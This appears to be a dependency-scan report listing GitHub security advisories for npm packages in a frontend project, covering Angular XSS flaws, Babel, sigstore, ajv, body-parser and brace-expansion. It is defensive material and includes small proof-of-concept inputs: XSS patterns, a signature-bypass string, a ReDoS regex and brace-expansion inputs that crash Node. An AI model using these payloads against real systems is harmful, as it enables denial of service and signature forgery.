GHSA-g93w-mfhg-p222 (NPM)  

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular runtime and compiler. It occurs when the application uses a security-sensitive attribute (for example href on an anchor tag) together with Angular's ability to internationalize attributes. Enabling internationalization for the sensitive attribute by adding `i18n-<attribute>` name bypasses Angular's built-in sanitization mechanism, which when combined with a data binding to untrusted user-generated data can allow an attacker to inject a malicious script. 

The following example illustrates the issue:
```html
<a href="{{maliciousUrl}}" i18n-href>Click me</a>
```

The following attributes have been confirmed to be vulnerable:
- `action`
- `background`
- `cite`
- `codebase`
- `data`
- `formaction`
- `href`
- `itemtype`
- `longdesc`
- `poster`
- `src`
- `xlink:href`

### Impact
When exploited, this vulnerability allows an attacker to execute arbitrary code within the context of the vulnerable application's domain. This enables:
- Session Hijacking: Stealing session cookies and authentication tokens.
- Data Exfiltration: Capturing and transmitting sensitive user data.
- Unauthorized Actions: Performing actions on behalf of the user.

### Attack Preconditions
1. The application must use a vulnerable version of Angular.
2. The application must bind unsanitized user input to one of the attributes mentioned above.
3. The bound value must be marked for internationalization via the presence of a `i18n-<name>` attribute on the same element.

### Patches
- 22.0.0-next.3
- 21.2.4
- 20.3.18
- 19.2.20

### Workarounds
The primary workaround is to ensure that any data bound to the vulnerable attributes is **never sourced from untrusted user input** (e.g., database, API response, URL parameters) until the patch is applied, or when it is, it shouldn't be marked for internationalization.

Alternatively, users can explicitly sanitize their attributes by passing them through Angular's `DomSanitizer`:
```ts
import {Component, inject, SecurityContext} from '@angular/core';
import {DomSanitizer} from '@angular/platform-browser';

@Component({
  template: `
    <form action="{{url}}" i18n-action>
      <button>Submit</button>
    </form>
  `,
})
export class App {
  url: string;

  constructor() {
    const dangerousUrl = 'javascript:alert(1)';
    const sanitizer = inject(DomSanitizer);
    this.url = sanitizer.sanitize(SecurityContext.URL, dangerousUrl) || '';
  }
}
```

### References
- [Fix 1](https://github.com/angular/angular/pull/67541) 
- [Fix 2](https://github.com/angular/angular/pull/67561)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: CRITICAL (9.0)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/core:\>\=17.0.0-next.0\<\=18.2.14:*:*:*:*:*:*:*

GHSA-jj27-h5hq-8x99 (NPM)  

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular compiler's internationalization (i18n) pipeline. Although Angular disallows binding to event-handler attributes such as `onclick` and `onerror` through standard attribute validation (`validateAttribute()` / `validateProperty()`), the i18n metadata collection path allowed these same attribute names to be marked for translation using `i18n-on*` attributes (e.g., `i18n-onerror`).

When exploited, a lower-trust translation file could replace a benign static handler such as `onerror="void 0"` with arbitrary executable JavaScript in the localized build.

The following example illustrates a vulnerable pattern:
```html
<img src="foo.jpg" onerror="void 0" i18n-onerror />
```

### Impact

When exploited, this vulnerability allows arbitrary JavaScript execution within the context of the vulnerable application's domain if an attacker can control or influence the translation files used during localization. This can lead to:
- **Session Hijacking**: Accessing session cookies, tokens, or sensitive user data.
- **Unauthorized Actions**: Performing actions on behalf of the authenticated user.

### Patched Versions

- 22.0.1
- 21.2.19
- 20.3.27

### Workarounds

Ensure that static event-handler attributes (e.g., `onerror`, `onclick`) are never marked for internationalization (`i18n-on*`) in application templates, and ensure translation files are sourced from trusted origins.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/core:\<\=19.2.25:*:*:*:*:*:*:*

GHSA-jrmj-c5cx-3cw6 (NPM)  

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the `href` and `xlink:href` attributes of SVG `<script>` elements as a **Resource URL** context.

In a standard security model, attributes that can load and execute code (like a script's source) should be strictly validated. However, because the compiler does not classify these specific SVG attributes correctly, it allows attackers to bypass Angular's built-in security protections.

When template binding is used to assign user-controlled data to these attributes for example, `<script [attr.href]="userInput">` the compiler treats the value as a standard string or a non-sensitive URL rather than a resource link. This enables an attacker to provide a malicious payload, such as a `data:text/javascript` URI or a link to an external malicious script.

### Impact
When successfully exploited, this vulnerability allows for **arbitrary JavaScript execution** within the context of the victim's browser session. This can lead to:
- **Session Hijacking:** Stealing session cookies, localStorage data, or authentication tokens.
- **Data Exfiltration:** Accessing and transmitting sensitive information displayed within the application.
- **Unauthorized Actions:** Performing state-changing actions (like clicking buttons or submitting forms) on behalf of the authenticated user.

### Attack Preconditions

1. The victim application must explicitly use SVG `<script>` elements within its templates.
2. The application must use property or attribute binding (interpolation) for the `href` or `xlink:href` attributes of those SVG scripts.
3. The data bound to these attributes must be derived from an untrusted source (e.g., URL parameters, user-submitted database entries, or unsanitized API responses).

### Patches
- 19.2.18
- 20.3.16
- 21.0.7
- 21.1.0-rc.0

### Workarounds
Until the patch is applied, developers should:

- **Avoid Dynamic Bindings**: Do not use Angular template binding (e.g., `[attr.href]`) for SVG `<script>` elements.
- **Input Validation**: If dynamic values must be used, strictly validate the input against a strict allowlist of trusted URLs on the server side or before it reaches the template.

### Resources

- https://github.com/angular/angular/pull/66318
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/core:\<\=18.2.14:*:*:*:*:*:*:*

GHSA-692r-grfm-v8x7 (NPM)  

An issue in the `@angular/core` package allows bypassing script-execution restrictions during dynamic component creation.

Specifically, the dynamic component instantiation mechanism (`createComponent`) failed to reject mounting components directly onto a `<script>` or namespaced script element (such as `<svg:script>`). This enabled the initialization of custom components on a tag that executes scripts, allowing attackers to hijack or inject script-executing hosts.

This flaw enables an attacker who can control the host element or selector parameter passed to `createComponent` to initialize or mount an Angular component directly onto a `<script>` tag, leading to execution of untrusted code or client-side Cross-Site Scripting (XSS).

### Impact
Any Angular application that registers dynamic components based on user-supplied parameters (like selectors or host elements) is vulnerable to this security bypass.

Once exploited, this allows a malicious actor to mount a dynamic component on a script tag, bypassing core dynamic component creation safeguards to execute arbitrary JavaScript within the target user's browser context. This could lead to session hijacking, sensitive data exposure, or unauthorized actions on behalf of the user.

### Attack Preconditions
To successfully exploit these vulnerabilities, the following environment parameters and application states must all concurrently exist:
1. **User-Controlled Host Selection:** The application must accept user-controlled inputs that are passed as a selector/host element to `createComponent`.
2. **Absence of Additional Context Sanitization:** The application does not perform separate input sanitization before feeding values to the dynamic creation APIs.

### Patches
* 22.0.0-rc.2
* 21.2.15
* 20.3.22
* 19.2.23
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/core:\<\=18.2.14:*:*:*:*:*:*:*

GHSA-f3m7-gqxr-g87x (NPM)  

An issue in the `@angular/compiler` and `@angular/core` packages allows bypassing element and attribute sanitization/validation through specific namespace workarounds.

Specifically, namespaced script elements (e.g., `<svg:script>` or `<:svg:script>`) were not properly identified as script elements by the Angular template preparser, allowing them to pass through template compilation without being stripped.

Furthermore, security context schema mappings for element attributes did not consistently handle attributes within namespaced elements (like SVG and MathML), opening up gaps where malicious namespaced attributes could bypass runtime and compile-time sanitizers.

Combined, these flaws enable an attacker who can inject or supply a template/tag structure with custom namespaces to bypass Angular's script-stripping logic and attribute sanitizers, leading to client-side Cross-Site Scripting (XSS).

### Impact
Any Angular application that compiles user-controlled templates at runtime, or relies on sanitization of namespaced elements/attributes, is vulnerable to this security bypass.

Once exploited, this allows a malicious actor to inject a namespaced script element or dynamic attribute bindings, bypassing core sanitization constraints to execute arbitrary JavaScript within the target user's browser context. This could lead to session hijacking, sensitive data exposure, or unauthorized actions on behalf of the user.

### Attack Preconditions
To successfully exploit these vulnerabilities, the following environment parameters and application states must all concurrently exist:
1. **User-Controlled Template Input:** The application must accept user-controlled inputs that are directly processed by the Angular template compiler at runtime.
2. **Namespace Parsing Support:** The input structure must employ custom namespace prefixes (such as `<svg:script>`) to evade standard tag-name blocklists/checks.
3. **Absence of Additional Context Sanitization:** The application does not perform separate input sanitization before feeding values to the Angular compiler.

### Patches
* 22.0.0-rc.2
* 21.2.15
* 20.3.22
* 19.2.23
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/core:\<\=18.2.14:*:*:*:*:*:*:*

GHSA-prjf-86w9-mfqv (NPM)  

A [Cross-site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript.

Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user.

If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript.

### Impact
When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to:

- **Credential Exfiltration**: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server.
- **Page Vandalism:** Mutating the page to read or act differently than intended by the developer.

### Attach Preconditions

- **The attacker must compromise the translation file (xliff, xtb, etc.).**
- Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client.
- The victim application must use Angular i18n.
- The victim application must use one or more ICU messages.
- The victim application must render an ICU message.
- The victim application must not defend against XSS via a safe [Content-Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) or [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API).

### Patches
- 21.2.0
- 21.1.6
- 20.3.17
- 19.2.19

### Workarounds
Until the patch is applied, developers should consider:

- **Reviewing and verifying translated content** received from untrusted third parties before incorporating it in an Angular application.
- **Enabling strict CSP controls** to block unauthorized JavaScript from executing on the page.
- [**Enabling Trusted Types**](https://angular.dev/best-practices/security#enforcing-trusted-types) to enforce proper HTML sanitization.

### References

- [Fix](https://github.com/angular/angular/pull/67183)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/core:\<\=18.2.14:*:*:*:*:*:*:*

GHSA-rgjc-h3x7-9mwg (NPM)  

To optimize client-side bootstrap in Server-Side Rendered (SSR) environments, Angular supports **Hydration** via `provideClientHydration()`. During SSR, Angular serializes the application's runtime state (such as cached `HttpClient` responses) and outputs it into the HTML stream as a `<script>` tag with a predictable identifier:

```html
<script type="application/json" id="ng-state">
    {"some-api-url": {"body": ...}}
</script>
````

During client bootstrap, Angular recovers this state by looking up the element via `document.getElementById('ng-state')` and parsing its text content.

Because the DOM element lookup for the state container is predictable and relies solely on the ID selector (`ng-state`), it is susceptible to **DOM Clobbering**.

If the application binds untrusted user input or CMS content to element properties such as `id` (e.g., `<div [id]="userInput">` or `<a id="ng-state">`) *before* the genuine `<script>` tag is parsed by the browser, the attacker-controlled element takes precedence in the DOM lookup.

During hydration, when Angular calls `document.getElementById('ng-state')`, the browser returns the attacker's clobbered element. Angular then attempts to parse the text content or attributes of this clobbered element as JSON.

### Impact

By clobbering the state element, the attacker can inject a custom JSON payload into Angular's `TransferState` cache. The most critical exploitation vector is poisoning the **HTTP Transfer Cache**.

1. The attacker injects a clobbered `ng-state` element containing custom JSON.  
2. The JSON maps a key (representing a target API endpoint URL) to a malicious payload of the attacker's choice.  
3. During client-side initialization, Angular's `HttpClient` checks `TransferState` before making requests. Finding the poisoned key, `HttpClient` returns the forged response instantly instead of requesting the genuine backend API.

Depending on how the application processes and renders the affected API response, this can lead to:

* **DOM-based Cross-Site Scripting (XSS)** if poisoned fields are rendered using unsafe bindings.  
* **Privilege Escalation** by spoofing user info or session details retrieved from poisoned API payloads.  
* **UI Hijacking** and redirection by spoofing configuration endpoints.

### Patched Versions

* 22.0.1  
* 21.2.17  
* 20.3.25

### Workarounds

If you cannot immediately update to a patched Angular version, apply the following workarounds:

#### A. Avoid Dynamic/User-Controlled IDs

Avoid binding raw user-supplied values or dynamic CMS IDs directly to element attributes. If dynamic IDs are required, sanitize them or prepend a static safe prefix:

```html
<!-- Vulnerable Pattern -->
<div [id]="userControlledInput">...</div>

<!-- Mitigated Pattern -->
<div [id]="'safe-prefix-' + userControlledInput">...</div>
```

#### B. Configure a Custom Application ID

Declaring a unique, non-predictable `APP_ID` changes the ID suffix of the state element, making it harder for attackers to predict and target:

```ts
// app.config.ts

import { APP_ID } from '@angular/core';
import { provideClientHydration } from '@angular/platform-browser';

export const appConfig = {
  providers: [
    { provide: APP_ID, useValue: 'unique-obfuscated-app-id' },
    provideClientHydration()
  ]
};

```

This changes the state element lookup ID from `ng-state` to `unique-obfuscated-app-id-state`.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-471 Modification of Assumed-Immutable Data (MAID)

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@angular\/core:\<\=19.2.25:*:*:*:*:*:*:*

@babel/core:7.25.2

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@babel/core

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/%40babel%2Fcore@7.25.2  (Confidence:Highest)

GHSA-4x5r-pxfx-6jf8 (NPM)  

## Impact

Using `@babel/core` to compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are _all_ true:
- the attacker controls the input source code
- the attacker can read the output source code
- the attacker knows the path of the source map file that they want to read

**Users that only compile trusted code are not impacted.**

## Patches

The vulnerability has been fixed in `@babel/core@7.29.6` and `@babel/core@8.0.0-rc.6`.

## Workarounds

Callers can mitigate the issue without upgrading by setting [`inputSourceMap: false`](https://babeljs.io/docs/options#inputsourcemap) in their Babel options.

Callers can also manually extract the `#sourceMappingURL` comment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object to `inputSourceMap` (passing `false` when it's not).

## Credits

Thanks Teodor-Cristian Radoi for reporting the vulnerability.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

CVSSv3:
  • Base Score: LOW (3.200000047683716)
  • Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N
Unscored:
  • Severity: low

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@babel\/core:\<\=7.29.0:*:*:*:*:*:*:*

@babel/plugin-transform-modules-systemjs:7.28.5

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@babel/plugin-transform-modules-systemjs

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/%40babel%2Fplugin-transform-modules-systemjs@7.28.5  (Confidence:Highest)

GHSA-fv7c-fp4j-7gwp (NPM)  

### Impact

Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code.

Known affected plugins are:
- `@babel/plugin-transform-modules-systemjs`
- `@babel/preset-env` when using the [`modules: "systemjs"` option](https://babel.dev/docs/babel-preset-env#modules), as it delegates to `@babel/plugin-transform-modules-systemjs`

No other plugins under the `@babel` namespace are impacted.

**Users that only compile trusted code are not impacted.**

### Patches

The vulnerability has been fixed in `@babel/plugin-transform-modules-systemjs@7.29.4`.

Babel also released `@babel/preset-env@7.29.5`, updating its `@babel/plugin-transform-modules-systemjs` dependency, to simplify forcing the update if you are using `@babel/preset-env` directly.

### Workarounds

- Pin `@babel/parser` to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade `@babel/plugin-transform-modules-systemjs` to v7.29.4.
- Do not use the `modules: "systemjs"` option, migrate the codebase to native ES Modules or any other module formats.

### Credits
Babel thanks Daniel Cervera for reporting the vulnerability.
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion'), CWE-94 Improper Control of Generation of Code ('Code Injection')

CVSSv3:
  • Base Score: HIGH (8.199999809265137)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@babel\/plugin-transform-modules-systemjs:\>\=7.12.0\<\=7.29.3:*:*:*:*:*:*:*

@sigstore/core:1.1.0

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@sigstore/core

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/%40sigstore%2Fcore@1.1.0  (Confidence:Highest)

GHSA-jfc7-64v2-mr8c (NPM)  

### Impact
The `preAuthEncoding` function in `@sigstore/core` uses Node.js `'ascii'` encoding when converting the PAE (Pre-Authentication Encoding) string to bytes. This allows `payloadType` to be mutated after signing without invalidating the signature, breaking the type-binding guarantee that DSSE is designed to provide.

In `packages/core/src/dsse.ts`, the PAE function builds a string containing `payloadType` and then encodes it with `Buffer.from(prefix, 'ascii')`.

In Node.js, `'ascii'` encoding for string-to-Buffer is equivalent to `'latin1'`, which **truncates characters above U+00FF to their low byte**. This means for any ASCII character, there exist Unicode characters (at U+01xx, U+02xx, etc.) that produce the identical encoded byte:

| Original | Codepoint | Mutant | Codepoint | Encoded byte |
|----------|-----------|--------|-----------|--------------|
| `t`      | U+0074    | `Ŵ`    | U+0174    | `0x74`       |
| `e`      | U+0065    | `ť`    | U+0165    | `0x65`       |

An attacker can substitute every character in `payloadType` with a Unicode variant whose low byte matches, producing **identical PAE bytes** and a passing signature verification.

Additionally, `payloadType.length` returns the JavaScript string length (UTF-16 code units) rather than the UTF-8 byte length required by the DSSE spec, though this is only a contributing factor for non-ASCII types.

#### Reproduction

```javascript
const { preAuthEncoding } = require('@sigstore/core/dist/dsse.js');
const payload = Buffer.from('hello world');

const original = preAuthEncoding('text/plain', payload);
// U+01xx chars whose low bytes match the original ASCII chars
const mutant = preAuthEncoding('\u0174\u0165\u0178\u0174/\u0170\u016c\u0161\u0169\u016e', payload);

console.log('PAE bytes equal:', original.equals(mutant)); // true — should be false
```
CWE-347 Improper Verification of Cryptographic Signature

CVSSv3:
  • Base Score: MEDIUM (5.400000095367432)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:\@sigstore\/core:\<\=3.2.0:*:*:*:*:*:*:*

ajv:6.12.6

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?ajv

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/ajv@6.12.6  (Confidence:Highest)

GHSA-2g4f-4pwh-qvx6 (NPM)  

ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\"^(a|a)*$\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.
CWE-400 Uncontrolled Resource Consumption, CWE-1333 Inefficient Regular Expression Complexity

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:ajv:\<6.14.0:*:*:*:*:*:*:*

body-parser:1.20.4

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?body-parser

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/body-parser@1.20.4  (Confidence:Highest)

GHSA-v422-hmwv-36x6 (NPM)  

### Impact

When body-parser is configured with an invalid `limit` option value, such as an unparseable string or `NaN`, `bytes.parse()` returns `null` and the request body size check is silently skipped. Applications that rely on `limit` as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service.

This issue affects applications that pass a programmatically computed or user-configurable value to the `limit` option without validating it first.

### Patches

This issue is fixed in [body-parser@2.3.0](https://github.com/expressjs/body-parser/releases/tag/v2.3.0) and [body-parser@1.20.6](https://github.com/expressjs/body-parser/releases/tag/v1.20.6) via [#698](https://github.com/expressjs/body-parser/pull/698). After the fix, invalid `limit` values throw a clear error at parser construction time instead of silently disabling enforcement. `null` and `undefined` continue to fall back to the default limit (`100kb`).

### Workarounds

Validate `limit` before passing it to body-parser. For example, parse the value with [`bytes.parse()`](https://github.com/visionmedia/bytes.js) at startup and reject any configuration where it returns `null` or a non-finite number.

### References

- [#698](https://github.com/expressjs/body-parser/pull/698): fix PR
- [bytes.js](https://github.com/visionmedia/bytes.js): limit parser
CWE-770 Allocation of Resources Without Limits or Throttling

CVSSv3:
  • Base Score: LOW (3.700000047683716)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: low

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:body-parser:\<1.20.6:*:*:*:*:*:*:*

brace-expansion:2.0.2

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?brace-expansion

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/brace-expansion@2.0.2  (Confidence:Highest)

GHSA-mh99-v99m-4gvg (NPM)  

### Summary

`expand()` bounds the *number* of results it produces (the `max` option,
`100_000` by default) but not their *length*. By chaining many brace groups,
an attacker keeps the result count under `max` while making every result grow
with the number of groups. Building `max` long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an **uncatchable** out-of-memory error. `try/catch` around
`expand()` does not help: the fatal error terminates the process.

A ~7.5 KB input (`'{a,b}'.repeat(1500)`) is enough to crash a default Node
process.

### Details

For `N` chained brace groups such as `'{a,b}'.repeat(N)`:

- the result count is `2^N`, immediately capped at `max` (`100_000`), so the
  `max` protection appears to hold, but
- each result is `N` characters long, so the total output size is
  `max × N` characters, which grows without bound in `N`.

`expand_` combines each brace set with the fully-expanded tail:

```js
const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}
```

The loop guard `expansions.length < max` limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to `max` strings, one character longer than the level below, and —
because V8 represents `pre + N[j] + post[k]` as a cons-string (rope) that
references `post[k]` — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with `max × N`.

Measured on `5.0.7` (`'{a,b}'.repeat(N)`, default `max`):

| groups (N) | input bytes | result count | peak RSS |
|---|---|---|---|
| 20 | 100 | 100,000 | ~80 MB |
| 50 | 250 | 100,000 | ~214 MB |
| 100 | 500 | 100,000 | ~409 MB |
| 300 | 1,500 | 100,000 | ~1,148 MB |
| 1500 | 7,500 | — | **OOM crash** |

### Proof of concept

```js
const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}
```

### Impact

Any application that passes attacker-influenced strings to
`brace-expansion.expand()` — directly, or transitively via `minimatch` / `glob`
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

### Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single `expand()` call may accumulate (`EXPANSION_MAX_LENGTH`, default
`4_000_000`, configurable via a new `maxLength` option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how `max` already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting `max` measure ~1M characters), so legitimate
input is unaffected.

After the fix, `'{a,b}'.repeat(1500)` returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly `O(N × maxLength)` work on this input class). A streaming
rewrite that produces output in `O(total output size)` can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
`expand()` / glob brace patterns, or pass a small explicit `max` **and**
`maxLength`.
CWE-400 Uncontrolled Resource Consumption, CWE-770 Allocation of Resources Without Limits or Throttling

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:brace-expansion:\>\=2.0.0\<2.1.3:*:*:*:*:*:*:*

GHSA-rgw5-rvv9-x895 (NPM)  

### Summary

The `maxLength` mitigation added in `5.0.8` for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are *combined*, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an **uncatchable** out-of-memory error, so `try/catch` around `expand()` does not help.

A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.

### Details

`maxLength` was enforced in `combine()`, the single place output grows. Two arrays are built *before* `combine()` runs, and neither was bounded.

**1. Comma alternatives accumulate without a running total (memory exhaustion)**

Each alternative in `{a,b,c,...}` is expanded by its own recursive `expand_()` call, so each receives a full, independent `maxLength` allowance. The results were then concatenated into a single `values` array with no cumulative limit:

```js
values = []
for (let j = 0; j < n.length; j++) {
  values.push.apply(values, expand_(n[j], max, maxLength, false))
}

acc = combine(acc, pre, values, max, maxLength, ...)
```

With `A` alternatives, `values` can reach `A * maxLength` characters before `combine()` gets a chance to truncate it. At the default `maxLength` of 4,000,000 and 400 alternatives, that is well past any default heap.

**2. Padded sequences ignore `maxLength` while generating (CPU exhaustion)**

`expandSequence()` was bounded by `max` (the result *count*) but never consulted `maxLength`. A padded sequence's element width follows the input, so `{0...01..100000}` with a wide pad generates `max` elements, each as wide as the input, only for `combine()` to discard all but a handful.

Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to `max * width`.

| pad width | input bytes | results kept | time (5.0.8) | time (patched) |
|---|---|---|---|---|
| 20,000 | 20 KB | 199 | ~7.3 s | ~20 ms |
| 100,000 | 100 KB | 39 | ~32 s | ~20 ms |
| 400,000 | 400 KB | 9 | ~124 s | ~18 ms |

Output is byte-identical before and after the fix; only the wasted work is removed.

### Proof of concept

Memory exhaustion, against `5.0.8`:

```js
import { expand } from 'brace-expansion'

const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}'  // ~25 KB

try {
  expand(input)
} catch (e) {
  // never reached - the process is already dead
}
```

```
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted
```

Event-loop stall, against `5.0.8`:

```js
import { expand } from 'brace-expansion'

// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU
expand('{' + '0'.repeat(400_000) + '1..100000}')
```

### Impact

Denial of service. Any application that passes attacker-controlled input to `expand()`, directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with `try/catch`.

Applications already on `5.0.8` are affected: the `5.0.8` mitigation does not cover these paths.

### Patches

Both intermediate arrays are now bounded as they are built, using the same `max` and `maxLength` limits already applied in `combine()`:

- `values` tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
- `expandSequence()` accepts `maxLength` and stops generating once the sequence's own characters reach it.

As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how `max` already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.

### Workarounds

If upgrading is not immediately possible, avoid passing untrusted input to `expand()` or to glob brace patterns, or pass an explicitly small `max` **and** `maxLength`.

Note that a small `maxLength` alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.

### Credits

The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at [Numyra](https://numyra.ai/).

The sequence-generation issue was found while verifying that report.
CWE-400 Uncontrolled Resource Consumption, CWE-770 Allocation of Resources Without Limits or Throttling

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

